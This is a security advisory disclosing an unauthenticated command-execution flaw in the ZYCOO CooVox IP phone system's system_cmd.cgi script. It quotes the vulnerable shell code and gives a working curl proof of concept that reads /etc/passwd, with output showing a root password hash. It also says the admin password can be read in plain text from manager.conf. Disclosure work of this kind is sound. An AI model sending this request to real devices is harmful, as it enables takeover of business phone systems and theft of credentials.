Vulnerable hardware : ZYCOO IP phone system Vendor : zycoo.com Author : Ahmed sultan (@0x4148) Email : 0x4148@gmail.com Summary : According to the vendor's site , CooVox Series IP Phone System is the most innovative solution for VoIP telecommunication in SMB (Small and Medium-sized Business) market. They provide not only traditional PBX functions such as automated attendant and voicemail, but also offer many advance telephony features, including remote extensions, remote office connection, IVR, call recording, call detail records(CDR)… Vulnerable file : /www/cgi-bin/system_cmd.cgi Code shot : #!/bin/hush printf '\r\n' if [ -n "$REQUEST_METHOD" ]; then case "$REQUEST_METHOD" in (GET) if [ -n "$QUERY_STRING" ]; then for args in `echo "$QUERY_STRING" | tr "&" " "` do param=`echo "$args" | cut -d "=" -f 1` value=`echo "$args" | cut -d "=" -f 2` eval "export $param=$value" done fi ;; esac fi INI_FILE=/etc/asterisk/manager.conf INI_SECTION=$username eval `sed -e 's/[[:space:]]*=[[:space:]]*/=/g' -e 's/;.*$//' -e 's/[[:space:]]*$//' -e 's/^[[:space:]]*//' -e "s/^(.*)=([^"']*)$/1='2'/" < $INI_FILE | sed -n -e "/^[$INI_SECTION]/,/^s*[/{/^[^;].*=.*/p;}"` password="`/etc/scripts/decodeURI $password`" [ -z "$secret" ] && secret=`/etc/scripts/getkeyvalue.sh ${INI_SECTION} vmsecret` if [ "$password" = "$secret" ]; then cmd=`echo $cmd | sed 's/%20/ /g'` # cmd=`echo $cmd | sed -e's/%([0-9A-F][0-9A-F])/\\\x1/g;s/?r//g' | xargs echo` $cmd the GET parameter cmd is freely available to directly execute system commands with no prior required authentication which lead to full hardware takeover POC [0x4148:/R1z]# curl http://server:9999/cgi-bin/system_cmd.cgi?cmd='cat%20/etc/passwd' root:$1$C6ouMLFa$pb2/Bu1bcWpBNcX38jTva0:0:0:root:/:/bin/sh nobody:x:99:99:Nobody:: Also by reading file /etc/asterisk/manager.conf hardware admin's password can be obtained in plain text Fixing? Unfortunately the hardware frontend really depend on this file , and the vendor is super lazy on replying on the emails regarding this vulnerability so , best fixation for now is enabling the web interface browsing from the local network only